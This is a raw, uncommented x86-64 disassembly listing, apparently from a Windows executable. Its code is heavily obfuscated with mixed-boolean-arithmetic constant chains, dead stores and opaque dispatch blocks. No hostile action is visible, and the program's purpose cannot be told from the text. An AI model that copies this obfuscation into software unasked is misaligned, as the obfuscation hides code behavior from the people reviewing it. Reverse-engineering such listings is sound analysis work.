xor edx, 0x4da2da4e
mov dword [rbp - 0x20], edx
movsxd rdx, edx
mov eax, dword [0x1403816e4]
test eax, eax
jne 0x140293269
mov r14d, r15d
jmp 0x1402932c3
mov dword [rbp + 0x1e8], eax
mov rax, qword [rsp + 0x70]
mov dword [rsp + 0x50], eax
lea rax, [rbp + 0x90]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x68]
mov dword [rsp + 0x40], eax
lea rax, [rbp + 0x140]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r13d
lea rax, [rbp + 0x190]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1d8]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x78]
call fcn.1402a1240
mov r14d, eax
mov dword [rbp - 0x20], r15d
mov dword [rbp - 0x24], r15d
mov dword [rbp - 0x28], r15d
mov dword [rbp - 0x1c], r15d
mov dword [rbp - 0x1c], 0x6e18d9d2
mov eax, dword [rbp - 0x1c]
add eax, 0x2f8b136
xor eax, 0x468a94fd
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
add eax, 0x239186ee
xor eax, 0x729605b6
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0xfbf7fc60
add eax, ecx
xor eax, 0x409ccfe8
add eax, 0x744a55a1
xor eax, 0x43b984d1
mov esi, dword [0x14035f030]
xor esi, 0x23f41ee7
sub esi, eax
mov eax, dword [0x14035f038]
xor eax, 0xdc0be118
sub esi, eax
sub esi, ecx
add esi, 0x44e2fd31
xor esi, 0xc5f8eca8
mov dword [rbp - 0x1c], esi
mov dword [rbp - 0x1c], r15d
mov dword [rbp - 0x2c], r15d
mov qword [rbp + 0xa0], r15
mov qword [rbp + 0x98], r15
mov qword [rbp + 0xa8], r15
movabs rax, 0x921932b85014291f
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0xb0], r15
movabs rax, 0xa9dadc47edab2eea
mov qword [rbp + 0xb0], rax
movabs rcx, 0xf33a52b7938aea03
add rcx, qword [rbp + 0xb0]
movabs rax, 0xf553662530b258f
xor rcx, rax
sub rcx, qword [0x14035f058]
sub rcx, qword [0x14035f050]
movabs rax, 0xedf047f5e202fbd
sub rcx, rax
movabs rax, 0xf8f8cd96dfc18405
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0xc7d654b777b98046
add rcx, rax
mov rdi, qword [0x14035f040]
add rcx, rdi
movabs rax, 0x5a9179a69bb6071d
xor rcx, rax
movabs rax, 0x5f627dc4a58e4c10
sub rcx, rax
movabs rax, 0x8e3b3cd1976be3d9
xor rcx, rax
movabs rdx, 0x3483ce433e4236c6
add rdx, rcx
add rdx, rdi
not rdx
movabs rcx, 0x13cce94ade4e29fc
mov r10, qword [0x14035f038]
mov rax, r10
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b521b1d603
mov r11, qword [0x14035f030]
mov rcx, r11
xor rcx, rax
movabs rax, 0xe0b56d93d44e98d1
add rdx, rax
add rdx, rcx
movabs rax, 0xbea7056753f25f4
xor rdx, rax
mov qword [rbp + 0xb0], rdx
movabs rcx, 0xf33a52b6127e3d83
add rcx, qword [rbp + 0xa8]
movabs rax, 0x62d536625309a482
xor rcx, rax
sub rcx, qword [0x14035f058]
sub rcx, qword [0x14035f050]
movabs rax, 0x7120fb80a662f649
add rcx, rax
movabs rax, 0xf8f8cd9866d26337
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x87d654b98266346e
add rcx, rax
add rcx, rdi
movabs rax, 0x5a9179a852e87bdf
xor rcx, rax
movabs rax, 0x5f627dc6c4ce41ba
sub rcx, rax
movabs rax, 0xf23b3cd257fe427e
xor rcx, rax
movabs rax, 0xb483ce44b4c78a8f
add rcx, rax
add rcx, rdi
not rcx
movabs rax, 0x13cce94ad849f74a
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b527b608b5
xor r11, rax
movabs rax, 0xe0b56d8dca17ec1f
add rcx, rax
add rcx, r11
movabs rax, 0x6c9e854150a22752
xor rcx, rax
mov qword [rbp + 0xa8], rcx
and rcx, rdx
mov rax, r15
cmp r14d, esi
setge al
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xa8], r15
cmp rax, rcx
jne 0x1402945ca
movabs rax, 0x3d794e57c2986000
movabs r9, 0xf9520bcd1f611b0a
movabs r8, 0x9de04d4e5540a7a7
mov rdi, qword [0x14035f070]
imul rdi, rax
movabs rax, 0x8a9dcdf53a1e9000
xor rdi, rax
mov r13, rdi
imul r13, r8
movabs r14, 0xaaaaaaaaaaaaaaab
mov rax, r14
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r10, rdi
and r10, r8
lea rax, [0x14035f060]
imul r10, qword [rax + rcx*8]
movabs rax, 0xdcdd3fb1e752c224
imul r10, rax
shr r10, 3
movabs rax, 0x39b73e97047273a5
xor r10, rax
movabs rax, 0xffffff57cb3fd0c5
mov rsi, rdi
imul rsi, rax
sub rsi, 0x1b5d796
xor rsi, r10
xor rsi, qword [0x14035f060]
mov rax, r10
imul rax, qword [0x14035f070]
movabs rcx, 0xb9de928bc28c6fe4
imul rax, rcx
not rax
and rsi, rax
ror rsi, 0x32
shr rsi, 8
movabs r15, 0x621fb2b1aabf5859
lea rcx, [rdi + r15]
xor rcx, 0xfffffffffc0264e9
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x347f26e1ee3b048
lea r11, [0x14035f060]
mov rbx, qword [r11 + rcx*8]
imul rbx, rax
sub rbx, r15
movabs rcx, 0x218f5e5395f0a618
mov rax, r10
imul rax, rcx
xor rbx, rax
shr rbx, 0x1f
not rbx
mov r12, rbx
xor r12, rdi
lea rcx, [rbx + r15]
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, bl
movzx ecx, byte [r11 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xf5
and ecx, 0x8000003f
jge 0x1402936f9
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r12, cl
not r12
imul r12, r10
imul rdx, r12, 0xfffffffffe4a286a
mov qword [rbp + 0x558], rdx
lea r14, [rdx + r15]
mov r11, rbx
imul r11, rsi
sub r11, r14
xor r11, r9
mov cl, r14b
xor cl, 0xfa
and cl, 0xf
rol r11, cl
movabs rax, 0x26ee63228f3d8326
imul r12, rax
movabs rax, 0x2ee49f6d274b4ef1
sub r12, rax
xor r11, r12
mov rax, r14
sub rax, qword [0x14035f078]
xor r11, rax
xor r11, r10
xor r11, rdi
mov rax, r11
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x140293aa2
sub rax, 1
je 0x14029397a
sub rax, 1
je 0x140293885
cmp rax, 1
jne 0x140293b4d
mov r9, r14
imul r9, rbx
movabs rax, 0x613f1e858cc19a7d
add rax, r11
xor r9, rax
ror r9, 0xa
shr r9, 0xc
xor r9, rdi
not r9
movabs rcx, 0x8357207d61e2
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0x629d37c9c1d9193d
xor rdx, rax
movzx eax, r9b
movzx ecx, r11b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db9789d8d1d
sub rax, rbx
mov rbx, rdx
xor rbx, rax
mov rcx, rbx
imul rcx, r8
mov eax, 0xa9465ff7
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14035f060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs r8, 0x27ccd70888b495d0
sub r8, r9
shr r8, cl
movabs rax, 0x6227d73a06818795
mov rcx, qword [rbp + 0x558]
add rcx, rax
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r11
imul rax, qword [r12 + rcx*8]
imul rax, r11
sub rax, rsi
xor r8, rax
jmp 0x140293b4d
movabs rax, 0xaaaaaa1aa95fa2c9
mov rcx, r11
xor rcx, rax
movabs rax, 0x1206ed6b527e85
imul rcx, rax
movabs r15, 0xfff17ca87e3d94b5
mov rax, r10
xor rax, r15
sub rcx, rax
movabs rax, 0xffff7e8a8f4f9015
imul rdx, rax
movabs rbx, 0x249a18892d2adf62
add rbx, rcx
add rbx, rdx
movabs rax, 0x277cd7be7b8f75a9
mov rcx, rbx
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r14, rbx
not r14
lea rax, [0x14035f060]
imul r14, qword [rax + rcx*8]
xor r14, 0xfffffffffc0a7419
lea ecx, [r11 + 0xb]
and cl, 0x3f
rol r14, cl
movabs rcx, 0xdf97debfeaf28157
xor r13, rcx
movabs rcx, 0x7c7a7dc6950d7ea8
and r13, rcx
imul r14, r13
mov rcx, r14
ror rcx, 0x1e
not rcx
movabs rax, 0x9b2de6b2d18fde38
imul rcx, rax
mov rax, rbx
sub rax, r14
lea rdx, [rcx + rax*4]
mov cl, sil
and cl, 0x3f
ror rdx, cl
mov rax, r8
mov r8, rdx
imul r8, rax
jmp 0x140293b4d
movabs rax, 0xb49521319f1794b5
imul r11, rax
movabs rax, 0xd79435e50d79435f
mul r11
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r11b
sub cl, dl
movabs rdx, 0x621fb2b1aabf5858
mov rax, rdi
imul rax, rdx
xor rax, r9
not rax
shl rax, cl
xor r10, rax
mov cl, r14b
and cl, 0x3f
rol r10, cl
lea rcx, [r11 + r15]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xd4e5540a7a7
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r10, rax
movabs rax, 0xffffc7a7f59bd4e4
or r10, rax
mov r8, qword [0x14035f070]
imul r8, r9
sub r8, r14
mov rax, rsi
sub rax, r10
xor r8, rax
movabs rax, 0xc7a7c6a6a493d4e9
xor r8, rax
movabs rax, 0xcccccccccccccccd
mul rdi
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rdi
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, r8
div rcx
mov rcx, rdx
mov rdx, r11
imul rdx, r14
imul rdx, r8
shr rdx, cl
mov rax, rbx
sub rax, rdx
sub rax, rdi
movabs rdi, 0x78958946bc198f3
add rdi, rax
xor rdi, rsi
mov al, bl
add al, al
lea ecx, [rax + rbx]
shl cl, 2
and cl, 0x3f
rol rdi, cl
not rdi
jmp 0x140293b4d
movabs rax, 0xaaaaaaaaaaaaaaab
mul r10
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r10
sub rcx, rax
mov rax, r11
imul rax, qword [0x14035f080]
lea rdx, [0x14035f060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r10
and r10b, 0x3f
mov cl, r10b
mov r10, rdx
ror r10, cl
imul r10, r14
not rsi
imul rsi, rbx
movabs rax, 0x7cd8a7de79628508
imul rsi, rax
mov rax, r10
imul rax, rdi
mov rdi, rsi
xor rdi, rax
imul rsi, qword [0x14035f060], 0xfffffffffe4a286a
mov rdx, qword [0x14035f068]
sub rsi, rdx
mov al, dil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140293b40
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rsi, cl
add rsi, r15
add rsi, qword [rbp + 0x558]
movabs rax, 0xff055d7b89298fc5
xor r9, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r9, rax
xor r10, rdi
lea rax, [0x14035f060]
imul r10, qword [rax + r9*8]
not r14
imul r14, r11
imul r14, rsi
imul r14, r8
movabs rcx, 0xf5ed7e878e9ac519
xor rcx, rbx
not rcx
xor rcx, r14
sub rcx, r10
call fcn.14001fc7c
mov qword [0x14036d9e8], rax
xor r15d, r15d
mov dword [rbp - 0x18], r15d
mov dword [rbp - 0x18], 0x25d28cb0
mov eax, dword [rbp - 0x18]
add eax, 0xd504f935
xor eax, 0x8e8a6709
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
add eax, 0x241b6216
xor eax, 0xa1418c97
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x3a5850a5
add eax, ecx
xor eax, 0x7506cdc9
add eax, 0x28077a81
xor eax, 0x1ab4d06f
mov edx, dword [0x14035f030]
xor edx, 0x24abedc7
sub edx, eax
mov eax, dword [0x14035f038]
xor eax, 0xdb541238
sub edx, eax
sub edx, ecx
add edx, 0x5faa4057
xor edx, 0x5ea00188
mov dword [rbp - 0x18], edx
movsxd rax, edx
mov qword [rbp + 0x558], rax
mov dword [rbp - 0x18], r15d
xor eax, eax
mov byte [rbp + 0x558], al
lea rcx, [rbp + 0x558]
call fcn.140021584
mov dword [rbp - 0x14], r15d
mov dword [rbp - 0x14], 0xd1213104
mov qword [rbp + 0xb8], r15
movabs rax, 0xf9823f9ff0008fa5
mov qword [rbp + 0xb8], rax
mov qword [rbp + 0xc0], r15
movabs rax, 0x93b63463beb2070b
mov qword [rbp + 0xc0], rax
movabs rcx, 0xf33a52b69bbb0f03
add rcx, qword [rbp + 0xc0]
movabs rax, 0x34553662530a2dbf
xor rcx, rax
mov r11, qword [0x14035f058]
sub rcx, r11
mov r10, qword [0x14035f050]
sub rcx, r10
movabs rax, 0xedf047f5b38c02c
sub rcx, rax
movabs rax, 0xf8f8cd97db709e71
xor rcx, rax
mov r9, qword [0x14035f048]
sub rcx, r9
movabs rax, 0x47d654b8c81c260d
add rcx, rax
mov rbx, qword [0x14035f040]
add rcx, rbx
movabs rax, 0x5a9179a7b65f1ce9
xor rcx, rax
movabs rax, 0x5f627dc6e060017c
sub rcx, rax
movabs rax, 0x663b3cd2135b8fd7
xor rcx, rax
movabs rdx, 0x3483ce442f4b62c9
add rdx, rcx
add rdx, rbx
not rdx
movabs rcx, 0x13cce94ada6eea90
mov r8, qword [0x14035f038]
mov rax, r8
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b52591156f
mov rdi, qword [0x14035f030]
mov rcx, rdi
xor rcx, rax
movabs rsi, 0xe0b56d8ff0f1ede5
add rsi, rdx
add rsi, rcx
movabs rax, 0xcd3843e97ae58470
xor rsi, rax
mov qword [rbp + 0xc0], rsi
movabs rcx, 0xf33a52b71aa57e83
add rcx, qword [rbp + 0xb8]
movabs rax, 0xa3d53662530aacaa
xor rcx, rax
sub rcx, r11
sub rcx, r10
movabs rax, 0x7120fb80a34a8086
add rcx, rax
movabs rax, 0xf8f8cd975a8a8533
xor rcx, rax
sub rcx, r9
movabs rax, 0x7d654b81bd4ebb2
add rcx, rax
add rcx, rbx
movabs rax, 0x5a9179a7259bb5bb
xor rcx, rax
movabs rax, 0x5f627dc682a3a37e
sub rcx, rax
movabs rax, 0xea3b3cd1d3e260c4
xor rcx, rax
movabs rdx, 0xb483ce43b3d95c56
add rdx, rcx
add rdx, rbx
not rdx
movabs rcx, 0x13cce94adc6a944e
mov rax, r8
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b523956bb1
mov rcx, rdi
xor rcx, rax
movabs r14, 0xe0b56d91ee975523
add r14, rdx
add r14, rcx
movabs rax, 0xce880257ed1323ee
xor r14, rax
mov qword [rbp + 0xb8], r14
mov eax, dword [rbp - 0x14]
add eax, 0xdb458fb5
xor eax, 0x250a6d4a
sub eax, r10d
sub eax, r11d
sub eax, 0x5bf75fad
xor eax, 0x9ae7f3bd
sub eax, r9d
add eax, 0x71dba45a
add eax, ebx
xor eax, 0x6de5221f
add eax, 0x285ee003
xor eax, 0x6394532a
xor edi, 0x2492eb6d
sub edi, eax
xor r8d, 0xdb6d1492
sub edi, r8d
sub edi, ebx
sub edi, 0x16390ed
xor edi, 0xd297c82a
mov dword [rbp - 0x14], edi
mov eax, dword [0x14037da24]
test eax, eax
jne 0x140293ec8
mov edx, r15d
jmp 0x140293eef
mov dword [rbp + 0x200], eax
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x78]
call fcn.1402a1240
mov rdx, rax
movsxd rax, edi
mov rcx, r15
cmp rdx, rax
setb cl
and rsi, r14
mov rax, r15
cmp rcx, rsi
sete al
mov qword [rbp + 0x558], rax
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xb8], r15
mov dword [rbp - 0x14], r15d
movabs rax, 0x3000000000000000
movabs r9, 0xf1528e1aad9061ad
movabs r8, 0x808adfa0fc71e71f
mov rsi, qword [0x14035f078]
imul rsi, rax
movabs rax, 0xd000000000000000
xor rsi, rax
mov r13, rsi
imul r13, r8
movabs r11, 0xaaaaaaaaaaaaaaab
mov rax, r11
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r10, rsi
and r10, r8
lea rbx, [0x14035f060]
imul r10, qword [rbx + rcx*8]
movabs rax, 0xeaf23179835b068e
imul r10, rax
shr r10, 3
movabs rax, 0x7227b37c663ecf21
xor r10, rax
movabs rax, 0xffffff57d775cc01
mov r14, rsi
imul r14, rax
sub r14, 0x15fc17a
xor r14, r10
xor r14, qword [0x14035f060]
mov rax, r10
imul rax, qword [0x14035f070]
movabs rcx, 0xb9de928bdec67320
imul rax, rcx
not rax
and r14, rax
ror r14, 0xe
shr r14, 8
movabs r15, 0x7f75205f038e18e1
lea rcx, [rsi + r15]
xor rcx, 0xffffffffe048782d
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0xbbb194c9d554c240
mov rdi, qword [rbx + rcx*8]
imul rdi, rax
sub rdi, r15
movabs rcx, 0x69bb0f66d7efbbcc
mov rax, r10
imul rax, rcx
xor rdi, rax
shr rdi, 0x1f
not rdi
mov r12, rdi
xor r12, rsi
lea rcx, [rdi + r15]
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, dil
movzx ecx, byte [rbx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x31
and ecx, 0x8000003f
jge 0x14029408f
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r12, cl
not r12
imul r12, r10
imul rdx, r12, 0xfffffffffea03e86
mov qword [rsp + 0x78], rdx
lea r11, [rdx + r15]
mov rbx, rdi
imul rbx, r14
sub rbx, r11
xor rbx, r9
mov cl, r11b
xor cl, 0xfe
and cl, 0xf
rol rbx, cl
mov rax, r11
sub rax, qword [0x14035f078]
xor rbx, rax
movabs rax, 0x6d7eeec9eef87c3a
imul r12, rax
movabs rax, 0x25655a72e206f5c1
sub r12, rax
xor rbx, r12
xor rbx, r10
xor rbx, rsi
mov rax, rbx
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x14029442d
sub rax, 1
je 0x14029430a
sub rax, 1
je 0x140294216
cmp rax, 1
jne 0x1402944d6
mov r9, r11
imul r9, rdi
movabs rax, 0xe01d237447ffaae1
add rax, rbx
xor r9, rax
ror r9, 0x36
shr r9, 0xc
xor r9, rsi
not r9
movabs rcx, 0x83573c377d26
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0x7ff7a52774a24541
xor rdx, rax
movzx eax, r9b
movzx ecx, bl
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db964d791d9
sub rax, rdi
mov rdi, rdx
xor rdi, rax
mov rcx, rdi
imul rcx, r8
mov eax, 0xb50c4333
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14035f060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs r8, 0x344f86f8e6ef6e28
sub r8, r9
shr r8, cl
movabs rdx, 0x7f7d44e74b164ce1
mov rcx, qword [rsp + 0x78]
add rcx, rdx
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, rbx
imul rax, qword [r12 + rcx*8]
imul rax, rbx
sub rax, r14
xor r8, rax
jmp 0x1402944d6
movabs rax, 0xaaaaaa1ab515be0d
mov rcx, rbx
xor rcx, rax
movabs rax, 0x1206ed77186241
imul rcx, rax
movabs rdi, 0xfff17ca862778871
mov rax, r10
xor rax, rdi
sub rcx, rax
movabs rax, 0xffff7e8a93058cd1
imul rdx, rax
movabs rdi, 0xf2fb367df07e882
add rdi, rcx
add rdi, rdx
movabs rax, 0x277cd7be67c5696d
mov rcx, rdi
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r11, rdi
not r11
lea rax, [0x14035f060]
imul r11, qword [rax + rcx*8]
xor r11, 0xffffffffe04068dd
lea ecx, [rbx + 0xf]
and cl, 0x3f
rol r11, cl
movabs rcx, 0x284871c200000000
xor r13, rcx
movabs rcx, 0x7c7a7dc68947626c
and r13, rcx
imul r11, r13
mov rcx, r11
ror rcx, 0x3d
not rcx
movabs rax, 0x9b2de6b2a0a7ad28
imul rcx, rax
mov rax, rdi
sub rax, r11
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, r8
mov r8, rdx
imul r8, rax
jmp 0x1402944d6
movabs rcx, 0xcc341b28bb781851
imul rbx, rcx
movabs rax, 0xd79435e50d79435f
mul rbx
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, bl
sub cl, dl
movabs rdx, 0x7f75205f038e18e0
mov rax, rsi
imul rax, rdx
xor rax, r9
not rax
shl rax, cl
xor r10, rax
mov cl, r11b
and cl, 0x3f
rol r10, cl
lea rcx, [rbx + r15]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x1fa0fc71e71f
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r10, rax
movabs rax, 0xffffc7a7e9d1c820
or r10, rax
mov r8, qword [0x14035f070]
imul r8, r9
sub r8, r11
mov rcx, r14
sub rcx, r10
xor r8, rcx
movabs rcx, 0xc7a7c6a6b8d9c82d
xor r8, rcx
movabs rax, 0xcccccccccccccccd
mul rsi
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, rsi
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, r8
div rcx
mov rcx, rdx
mov rdx, rbx
imul rdx, r11
imul rdx, r8
shr rdx, cl
mov rax, rdi
sub rax, rdx
sub rax, rsi
movabs rsi, 0x7895894778b8437
add rsi, rax
xor rsi, r14
mov cl, dil
shl cl, 3
and cl, 0x3f
rol rsi, cl
not rsi
jmp 0x1402944d6
movabs rax, 0xaaaaaaaaaaaaaaab
mul r10
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r10
sub rcx, rax
mov rax, rbx
imul rax, qword [0x14035f080]
lea rdx, [0x14035f060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r10
and r10b, 0x3f
mov cl, r10b
mov r10, rdx
ror r10, cl
imul r10, r11
not r14
imul r14, rdi
movabs rax, 0x7cd8a7de652899cc
imul r14, rax
mov rax, r10
imul rax, rsi
mov rsi, r14
xor rsi, rax
imul r14, qword [0x14035f060], 0xfffffffffea03e86
mov rdx, qword [0x14035f068]
sub r14, rdx
mov al, sil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x1402944cb
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
add r14, r15
add r14, qword [rsp + 0x78]
movabs rcx, 0xff055d7b95639301
xor r9, rcx
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r9, rax
xor r10, rsi
lea rax, [0x14035f060]
imul r10, qword [rax + r9*8]
not r11
imul r11, rbx
imul r11, r14
imul r11, r8
movabs rcx, 0xf5ed7e8792d0d9dd
xor rcx, rdi
not rcx
xor rcx, r11
sub rcx, r10
call fcn.14001ff04
mov qword [0x14036d998], rax
mov rax, qword [rbp + 0x558]
and dword [rbp - 0x10], 0
mov dword [rbp - 0x10], 0x4a0fc656
mov eax, dword [rbp - 0x10]
add eax, 0x1359d8b6
xor eax, 0x6e0aa55e
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x5c9f9c88
xor eax, 0x61f35998
sub eax, dword [0x14035f048]
mov rdx, qword [0x14035f040]
add eax, 0xa5bc1b41
add eax, edx
xor eax, 0x2dedfeda
add eax, 0x78452357
xor eax, 0xff886e08
mov ecx, dword [0x14035f030]
xor ecx, 0x23b29a49
sub ecx, eax
mov eax, dword [0x14035f038]
xor eax, 0xdc4d65b6
sub ecx, eax
sub ecx, edx
lea eax, [rcx + 0x1699973a]
xor eax, 0xfbcd7ce6
mov dword [rbp - 0x10], eax
and dword [rbp - 0x10], 0
jmp 0x14029a0af
mov qword [rbp + 0xc8], r15
movabs rax, 0x91fa6c07c3ae84d
mov qword [rbp + 0xc8], rax
movabs rcx, 0xf33a52b797acb103
add rcx, qword [rbp + 0xc8]
movabs rax, 0xd6553662530b29b1
xor rcx, rax
sub rcx, qword [0x14035f058]
sub rcx, qword [0x14035f050]
movabs rax, 0xedf047f5e2c9512
sub rcx, rax
movabs rax, 0xf8f8cd96db8f35e9
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x47d654b7721da6a6
add rcx, rax
mov rdx, qword [0x14035f040]
add rcx, rdx
movabs rax, 0x5a9179a696ff8021
xor rcx, rax
movabs rax, 0x5f627dc4a2957a74
sub rcx, rax
movabs rax, 0x563b3cd1955adf4a
xor rcx, rax
movabs rax, 0x3483ce433a3d5c37
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94ade5eb118
mov rax, qword [0x14035f038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b521a14ee7
mov rcx, qword [0x14035f030]
xor rcx, rax
movabs rax, 0xe0b56d93e4e87c6d
add rax, rdx
add rcx, rax
movabs rax, 0x6faea6a8f97f1ca8
xor rcx, rax
mov qword [rbp + 0xc8], rcx
mov r8, qword [rbp + 0x90]
shr r8, cl
mov qword [rbp + 0x90], r8
mov qword [rbp + 0xc8], r15
mov dword [rbp - 0xc], r15d
mov dword [rbp - 0xc], 0x8f683d95
mov eax, dword [rbp - 0xc]
add eax, 0xee3c87b6
xor eax, 0x1d0b8041
sub eax, dword [0x14035f050]
sub eax, dword [0x14035f058]
sub eax, 0x5f304495
xor eax, 0x83a51fdc
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0xfc9d66b5
add eax, ecx
xor eax, 0x34436f3e
add eax, 0x71f446e3
xor eax, 0x1a103f73
mov edx, dword [0x14035f030]
xor edx, 0x20470f8d
sub edx, eax
mov eax, dword [0x14035f038]
xor eax, 0xdfb8f072
sub edx, eax
sub edx, ecx
add edx, 0x5a3659b0
xor edx, 0xfe911cca
mov dword [rbp - 0xc], edx
movsxd rax, edx
mov dword [rbp - 0xc], r15d
cmp r8, rax
jae 0x1402957c1
movabs rax, 0x3d794e57c2986000
movabs r9, 0xf9520bcd1f611b0a
movabs r8, 0x9de04d4e5540a7a7
mov rdi, qword [0x14035f070]
imul rdi, rax
movabs rax, 0x8a9dcdf53a1e9000
xor rdi, rax
mov r13, rdi
imul r13, r8
movabs r14, 0xaaaaaaaaaaaaaaab
mov rax, r14
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r10, rdi
and r10, r8
lea rax, [0x14035f060]
imul r10, qword [rax + rcx*8]
movabs rax, 0xdcdd3fb1e752c224
imul r10, rax
shr r10, 3
movabs rax, 0x39b73e97047273a5
xor r10, rax
movabs rax, 0xffffff57cb3fd0c5
mov rsi, rdi
imul rsi, rax
sub rsi, 0x1b5d796
xor rsi, r10
xor rsi, qword [0x14035f060]
mov rax, r10
imul rax, qword [0x14035f070]
movabs rcx, 0xb9de928bc28c6fe4
imul rax, rcx
not rax
and rsi, rax
ror rsi, 0x32
shr rsi, 8
movabs r15, 0x621fb2b1aabf5859
lea rcx, [rdi + r15]
xor rcx, 0xfffffffffc0264e9
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x347f26e1ee3b048
lea r11, [0x14035f060]
mov rbx, qword [r11 + rcx*8]
imul rbx, rax
sub rbx, r15
movabs rcx, 0x218f5e5395f0a618
mov rax, r10
imul rax, rcx
xor rbx, rax
shr rbx, 0x1f
not rbx
mov r12, rbx
xor r12, rdi
lea rcx, [rbx + r15]
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, bl
movzx ecx, byte [r11 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xf5
and ecx, 0x8000003f
jge 0x1402948ed
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r12, cl
not r12
imul r12, r10
